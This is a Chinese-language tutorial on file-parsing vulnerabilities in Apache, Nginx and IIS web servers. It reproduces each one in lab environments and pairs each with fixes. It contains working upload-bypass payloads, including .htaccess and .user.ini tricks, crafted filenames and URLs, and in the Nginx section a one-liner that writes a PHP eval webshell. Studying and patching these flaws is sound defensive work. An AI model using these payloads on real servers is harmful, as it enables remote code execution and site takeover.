8

浅谈解析漏洞的利用与防范

 2 years ago
source link: https://qwzf.github.io/2020/10/20/%E6%B5%85%E8%B0%88%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E9%98%B2%E8%8C%83/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

本文首发于安全客,如果方便的话请阅读原文
https://www.anquanke.com/post/id/219107

0x00 前言

继续学习常见漏洞,经常听说过解析漏洞,这次来一探究竟。

0x01 解析漏洞简介

1、文件解析漏洞概述
文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析。
2、web容器是什么
web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等。(可以理解为编程语言提供环境)

中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。
容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。

在这里插入图片描述
在这里插入图片描述
攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起

0x02 Apache

测试环境
docker容器:kstaken/apache2
在docker里安装php:apt-get update && apt-get install php5
靶场:DoraBox靶场
修改站点根目录:vim /etc/apache2/sites-enabled/000-default

1、多后缀

漏洞描述
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
所以可上传一个test.php.qwzf文件绕过验证且服务器依然会将其解析为php。
Apache 能够识别的文件在mime.types文件里。
影响版本
Apache 2.0.x <= 2.0.59
Apache 2.2.x <= 2.2.17
Apache 2.2.2 <= 2.2.8
开始测试
1.查看Apache版本:

apachectl -v
#或httpd -v(测试未显示Apache版本)
bash复制代码
20200930090726194.png
平时可以使用浏览器捕获的响应包或使用burp抓包查看apache版本。
在这里插入图片描述
在这里插入图片描述

2.在DoraBox的任意文件靶场进行测试
上传的文件名:test.php.qwzf
上传的文件内容

<?php phpinfo(); ?>
php复制代码

上传成功,访问看一下

在这里插入图片描述
在这里插入图片描述
成功解析成php文件。
修复方法
后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。

2、Apache配置问题

1.如果在Apache的 /etc/apache2/apache2.conf里有这样的配置

<FilesMatch "qwzf.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
bash复制代码

这时只要文件名是qwzf.jpg,会以php 来执行。
2.如果在Apache的 conf 里有这样一行配置AddHandler php5-script .php 这时只要文件名里包含.php
即使文件名是qwzf.php.jpg也会以php 来执行。
3.如果在 Apache 的 conf 里有这样一行配置AddType application/x-httpd-php .jpg
即使扩展名是.jpg,也会以php来执行。

Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
将Apache的/etc/apache2/sites-available/defaultAllowOverride None改为AllowOverride All

AllowOverride All
bash复制代码

开启rewrite_mod

a2enmod rewrite
bash复制代码

这样.htaccess文件就会生效。
开始测试
1.上传一个.htaccess文件,文件内容如下:

方法1:
<FilesMatch "qwzf.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

方法2:
AddHandler php5-script .php

方法3:
AddType application/x-httpd-php .jpg
bash复制代码

2.然后上传文件名为
方法1和方法3:qwzf.jpg
方法2和方法3:qwzf.php.jpg
文件内容为:<?php phpinfo(); ?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
修复方法
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files>
bash复制代码

2.关闭重写

a2dismod rewrite
bash复制代码

3、罕见后缀

Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。
上传一个查看phpinfo信息的qwzf.php3文件,访问

在这里插入图片描述
在这里插入图片描述
发现qwzf.php3文件被当作php文件进行解析。

4、后缀包含换行符\x0A(CVE-2017-15715)

phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715
漏洞描述
上传一个后缀末尾包含换行符的文件,来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。
这个漏洞可以用来绕过文件上传黑名单限制。即:

1.php\x0a => 1.php

apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。

影响版本
Apache 2.4.0-2.4.29
测试环境
1.环境一:
用docker拉取一个名为vulhub/php:5.5-apache的镜像(Apache版本2.4.0~2.4.29之间)
使用下面命令启动容器:

docker run -d --name=cve-2017-15715 -p 8005:80 -v /var/www/bachang/cve-2017-15715:/var/www/html vulhub/php:5.5-apache
bash复制代码

进入容器并查看Apache版本

docker exec -it cve-2017-15715 /bin/bash
apachectl -v
bash复制代码
在这里插入图片描述
在这里插入图片描述
将下面测试代码目录映射到容器内的/var/www/html目录下,设置好写权限,即可开始测试。

2.环境二:
当然,如果感觉自己搭环境比较麻烦,可以使用vulhub靶场的CVE-2017-15715环境。
环境位置:vulhub/httpd/CVE-2017-15715
测试代码

<html>
<body>
  <form action="" method="post" enctype="multipart/form-data">
    file:<input type="file" name="file"><br />
    filename:<input type="text" name="name" value="qwzf.php">
    <input type="submit" value="submit">
    </form>
</body>
</html>
<?php
if (isset($_FILES['file'])) {
  $name = basename($_POST['name']);
  $ext = pathinfo($name, PATHINFO_EXTENSION);
  if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
    exit('bad file');
  }
  move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
php复制代码

开始测试
1.正常上传php文件,被拦截

在这里插入图片描述
在这里插入图片描述
2.上传test.php.qwzf,上传成功,但不解析,说明老的多后缀Apache解析漏洞不存在。
在这里插入图片描述
在这里插入图片描述
3.利用CVE-2017-15715,上传一个包含换行符的文件

注:只能是\x0A,不能是\x0D\x0A

上传qwzf.php文件,filename设置为qwzf.php
使用burp抓包,选择burp的Hex功能,在qwzf.php后面添加一个\x0A

在这里插入图片描述
在这里插入图片描述
发包,上传成功。然后访问qwzf.php%0A,发现可以成功解析php文件
在这里插入图片描述
在这里插入图片描述
Nginx是一款高性能的WEB服务器,通常用来作为PHP的解析容器。

0x03 Nginx

1、Nginx PHP CGI 解析漏洞(fix_pathinfo)

漏洞描述
查看nginx的配置文件
vim /etc/nginx/conf.d/default.conf

在这里插入图片描述
在这里插入图片描述
(1)Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://x.x.x.x/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME传递给PHP CGI。
(2)但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
这就涉及到fix_pathinfo选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

简单来说,由于Nginx的特性,只要URL中路径名以.php结尾,不管该文件是否存在,直接交给php处理。

注:新版本php引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件
使得该漏洞难以被成功利用

相关知识
(1)通过phpinfo查看cgi.fix_pathinfo=1,PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量$_SERVER[‘PATH_INFO’]获取,而配置文件中的cgi.fix_pathinifo选项则与这个值的获取相关。

在这里插入图片描述
在这里插入图片描述
(2)在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
影响版本
漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
漏洞形式

/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\0.php

还有一种方法是:上传一个名字为qwzf.jpg,文件内容如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['qwzf']);?>'); ?>
php复制代码

然后访问qwzf.jpg/.php,在当前目录下就会生成一句话木马shell.php

测试环境
1.环境一:
vulhub靶场的漏洞环境
环境位置:vulhub/nginx/nginx_parsing_vulnerability
nginx版本:nginx/1.19.2
2.环境二:
使用phpstudy测试,默认配置即可(默认的cgi.fix_pathinfo是注释状态,但默认值确为1)
nginx版本:nginx/1.11.5
开始测试
使用环境一的vulhub靶场对应的环境
上传一个jpg文件,文件名为phpinfo.jpg,文件内容为(或者上传图片马):

GIF89a
<?php phpinfo(); ?>
php复制代码
在这里插入图片描述
在这里插入图片描述
上传成功,访问一下
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/1.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/%20\0.php
php复制代码

发现除了%00截断外,均以php的形式解析,显示phpinfo信息

在这里插入图片描述
在这里插入图片描述
%00截断不能成功,原因应该是PHP的版本问题。%00截断使用条件:php 版本<5.3.4
修复方法
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0(慎用);
若实在将cgi.fix_pathinfo的值设置为0,就将php-fpm.conf中的security.limit_extensions后面的值设置为.php
2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
bash复制代码

代码的意思:当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。
3.使用Apache服务器的,在相应目录下放一个 .htaccess 文件,内容为:

<FilesMatch "(?i:\.php)$">
    Deny from all
</FilesMatch>
bash复制代码

4.不提供上传的原文件访问,对文件输出经过程序处理。
5.图片单独放一个服务器上,与业务代码数据进行隔离。

2、空字节代码执行漏洞

漏洞描述
Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
影响版本:
Nginx 0.5.x
Nginx 0.6.x
Nginx 0.7-0.7.65
Nginx 0.8-0.8.37
测试环境
nginx官网
由于环境比较旧,不太容易搭建,这里只阐述一下大致过程:
1.上传一个qwzf.jpg图片文件
2.访问http://x.x.x.x/qwzf.jpg%00.php
3.就会将qwzf.jpg作为PHP文件进行解析
修复方法
1.升级nginx
2.禁止在上传文件目录下执行php文件
3.在nginx配置或者fcgi.conf配置添加下面内容:

if ($request_filename ~* (.*)\.php) {
    set $php_url $1;
}
if (!-e $php_url.php) {
    return 403;
}
bash复制代码

3、nginx文件名逻辑漏洞(CVE-2013-4547)

漏洞描述
1.漏洞产生原因:
错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
2.漏洞原理:
Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见写法:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}
bash复制代码

(1)在关闭fix_pathinfo的情况下(即cgi.fix_pathinfo=0),只有.php后缀的文件才会被发送给fastcgi解析
(2)存在CVE-2013-4547时,请求qwzf.jpg[0x20][0x00].php,这个URI可匹配到正则\.php$,进入到Location块;
(3)进入后,Nginx错误地认为请求的文件是qwzf.jpg[0x20],然后设置其为SCRIPT_FILENAME的值发送给fastcgi。
(4)fastcgi根据SCRIPT_FILENAME的值,将qwzf.jpg[0x20]以php文件的形式进行解析,从而造成了解析漏洞。
也就是说,我们只需要上传一个空格结尾的文件,即可用PHP进行解析。
影响版本:
Nginx 0.8.41-1.4.3
Nginx 1.5 -1.5.7
测试环境
vulhub靶场的漏洞环境
环境位置:vulhub/nginx/CVE-2013-4547
nginx版本:nginx/1.4.2
开始测试
上传一个jpg文件,文件名为qwzf.jpg,文件内容为(或者上传图片马):

GIF89a
<?php phpinfo(); ?>
php复制代码

使用burp添加空格

在这里插入图片描述
在这里插入图片描述
发包,成功上传文件
在这里插入图片描述
在这里插入图片描述
访问/uploadfiles/qwzf.jpg/.php,burp抓包,添加两个空格
在这里插入图片描述
在这里插入图片描述
使用burp的hex功能,将第二个空格的0x20改为0x00
在这里插入图片描述
在这里插入图片描述
发包,成功解析。
在这里插入图片描述
在这里插入图片描述

0x04 IIS

IIS(Internet Information Services)是微软出品的灵活、安全、易于管理的Web服务器。

1、IIS 5.x和IIS 6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语言一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
测试环境
因为找不到相关环境,并且不想搭建,所以这里只阐述相关原理和相关知识。

1.目录解析(6.0)

形式http://www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp.asa目录下的文件都解析成asp文件。

2.文件解析(6.0)

形式http://www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件。

3.解析文件类型(默认解析后缀)

有的网站会设置黑名单上传限制 ,IIS6.0 默认的可执行文件除了asp还包含这三种 :

/xx.asa
/xx.cer
/xx.cdx
bash复制代码

iis把asa,cdx,cer解析成asp文件的原因:这四种扩展名都是用的同一个asp.dll文件来执行。
修复方法
1.阻止创建.asp.asa类型的文件夹
2.阻止上传xx.asp;.jpg类型的文件名
3.阻止上传.asa.cer.cdx后缀的文件
4.设置权限,限制用户创建文件夹

2、IIS 7.0/7.5 CGI解析漏洞

漏洞描述
IIS7/7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7/7.5本身的漏洞。
漏洞产生的条件
php.ini里的cgi.cgi_pathinfo=1
IIS7在Fast-CGI运行模式下
测试环境
windows server 2008 R2(x64)
IIS7
phpStudy 2018版本
开始测试
首先在VMware安装windows server 2008 R2虚拟机(比较简单,百度搜教程即可),然后安装IIS7和phpStudy 2018。可参考:IIS7.0解析漏洞
写一个index.php文件测试环境是否能正常工作。

在这里插入图片描述
在这里插入图片描述
正常工作。接下来,正式开始测试
1.在站点根目录创建一个qwzf.jpg文件,文件内容为:
<?php phpinfo(); ?>
php复制代码

2.配置CGI 模式
(1)在php.ini文件里将cgi.fix_pathinfo 取消注释并把值改为1

在这里插入图片描述
在这里插入图片描述
(2)更改网站的处理程序映射
管理工具 –> IIS -> WIN-5RQ4P819403 -> 处理程序映射
在这里插入图片描述
在这里插入图片描述
3.访问http://192.168.201.149/qwzf.jpg/.php
在这里插入图片描述
在这里插入图片描述
发现qwzf.jpg成功解析。
常用利用方法:上传图片马

0x05 .user.ini

.user.ini 作用和配置
.htaccess是伪静态环境配置文件,用于lamp。
.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.

为了防止跨站,可将 .user.ini放在网站根目录下,内容为:
open_basedir=/项目路径/:/tmp/:/proc/
如:open_basedir=/var/www/html/:/tmp/:/proc/
测试代码

<?php 
//获取当前文件所在的绝对目录
$dir = dirname(__FILE__);
echo " <pre>";
print_r($dir);
//读取根目录文件夹vim
$file = scandir('/');
//显示
echo " <pre>";
print_r($file);
?>
php复制代码

没加.user.ini的时候可以直接读到根目录的文件

在这里插入图片描述
在这里插入图片描述
加上.user.ini之后,就读不到根目录的文件了
在这里插入图片描述
在这里插入图片描述
.user.ini文件利用

利用条件:
1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件

参考:user.ini文件构成的PHP后门
大师傅博客里对.user.ini的解释具体可以怎样理解呢?
我的对其总结如下:

1.php.ini作为php的默认的配置文件,包括很多php配置,可分为:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

2.模式为PHP_INI_USER的配置项,可在ini_set()函数中设置、注册表中设置和.user.ini中设置

3.PHP会在每个目录下扫描 INI 文件,从被执行PHP 文件所在目录一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']所指定的)。若被执行PHP 文件在 web 根目录之外,则只扫描该目录。

4..user.ini简单来说,就是一个可以由用户“自定义”的php.ini,可以自定义的设置是模式为PHP_INI_PERDIRPHP_INI_USER的设置(实际上,除PHP_INI_SYSTEM外的模式都可以通过.user.ini来设置)。

5..user.ini是一个能被动态加载的ini文件。也就是修改.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

6.php配置项auto_prepend_file(auto_append_file),指定一个文件,自动包含在要执行的文件前(后),类似于在文件前(后)调用了require()函数。即借助.user.ini文件,可让所有php文件都“自动”包含某个文件
(当文件调用的有exit()时该设置无效)

可直接在.user.ini中设置要包含的文件(如webshell、图片马等):

auto_prepend_file=qwzf.jpg
bash复制代码

qwzf.jpg即是可执行php文件要包含的文件。
开始测试
直接使用vulhub靶场vulhub/nginx/CVE-2013-4547环境,在uploadfiles目录下创建一个可执行的php文件index.php
(1)上传.user.ini文件,内容如下:

GIF89a
auto_prepend_file=qwzf.jpg
bash复制代码

(2)上传图片马qwzf.jpg,内容如下:

GIF89a
<?php phpinfo(); ?>
bash复制代码

访问/uploadfiles/index.php,发现qwzf.jpg被成功包含到index.php之前进行解析

在这里插入图片描述
在这里插入图片描述

0x06 Windows操作系统文件命名规则

Windows操作系统中,文件名不能以空格或.开头,也不能以空格或.结尾。当把一个文件命名为以空格或.开头或结尾时,会自动地去掉开头和结尾处的空格和.。利用此特性,也可能造成文件解析漏洞

参考博客:
文件解析漏洞总结
CTF考点总结-文件上传/文件包含
利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单
文件上传漏洞,解析漏洞总结
解析漏洞整理
典型漏洞归纳之解析漏洞
服务器解析漏洞总结
文件解析漏洞总结-Nginx
Nginx错误配置引发的解析漏洞复现
nginx文件名逻辑漏洞_CVE-2013-4547漏洞复现
nginx+php使用open_basedir限制站点目录防止跨站


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK